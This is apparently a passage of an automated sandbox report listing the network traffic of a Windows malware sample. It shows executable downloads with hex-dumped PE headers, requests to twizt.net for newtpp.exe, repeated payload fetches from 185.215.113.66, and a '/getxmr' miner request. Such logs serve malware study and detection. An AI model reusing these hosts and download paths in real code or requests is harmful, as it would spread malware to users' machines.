Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:31:44 GMTContent-Type: application/octet-streamContent-Length: 80896Last-Modified: Wed, 16 Aug 2023 14:20:16 GMTConnection: keep-aliveETag: "64dcdb20-13c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 5d 62 31 f3 19 03 5f a0 19 03 5f a0 19 03 5f a0 61 71 5e a1 1b 03 5f a0 da 0c 02 a0 1b 03 5f a0 da 0c 00 a0 18 03 5f a0 da 0c 50 a0 1b 03 5f a0 3e c5 32 a0 1d 03 5f a0 19 03 5e a0 a1 03 5f a0 3e c5 24 a0 0c 03 5f a0 10 7b d6 a0 3e 03 5f a0 10 7b ce a0 18 03 5f a0 52 69 63 68 19 03 5f a0 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a8 da dc 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e2 00 00 00 6a 00 00 00 00 00 00 10 5e 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 01 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 21 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 04 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 5c e1 00 00 00 10 00 00 00 e2 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ac 30 00 00 00 00 01 00 00 32 00 00 00 e6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 88 36 00 00 00 40 01 00 00 24 00 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:38 GMTContent-Type: application/octet-streamContent-Length: 5689344Last-Modified: Mon, 17 Apr 2023 13:09:18 GMTConnection: keep-aliveETag: "643d44fe-56d000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 9b d1 3d 64 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 92 01 00 00 cc 56 00 00 1c 00 00 b0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 60 57 00 00 04 00 00 65 01 57 00 02 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 57 00 34 0a 00 00 00 40 57 00 80 03 00 00 00 c0 56 00 4c 11 00 00 00 00 00 00 00 00 00 00 00 50 57 00 30 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 a6 56 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 12 57 00 50 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 90 01 00 00 10 00 00 00 92 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 a0 c4 54 00 00 b0 01 00 00 c6 54 00 00 96 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 50 39 00 00 00 80 56 00 00 3a 00 00 00 5c 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 4c 11 00 00 00 c0 56 00 00 12 00 00 00 96 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 f0 0e 00 00 00 e0 56 00 00 10 00 00 00 a8 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 80 1b 00 00 00 f0 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 34 0a 00 00 00 10 57 00 00 0c 00 00 00 b8 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 60 00 00 00 00 20 57 00 00 02 00 00 00 c4 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 30 57 00 00 02 00 00 00 c6 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 80 03 00 00 00 40 57 00 00 04 00 00 00 c8 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 30 03 00 00 00 50 57 00 00 04 00 00 00 cc 56 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /newtpp.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /peinstall.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: icanhazip.com
Source: global traffic	HTTP traffic detected: GET /from/n.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /from/706.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 17 Aug 2023 12:32:50 GMTIf-None-Match: "64de1372-4700"
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 17 Aug 2023 12:32:50 GMTIf-None-Match: "64de1372-4700"
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66If-Modified-Since: Thu, 17 Aug 2023 12:32:50 GMTIf-None-Match: "64de1372-4700"
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /getxmr HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36Host: 185.215.113.66
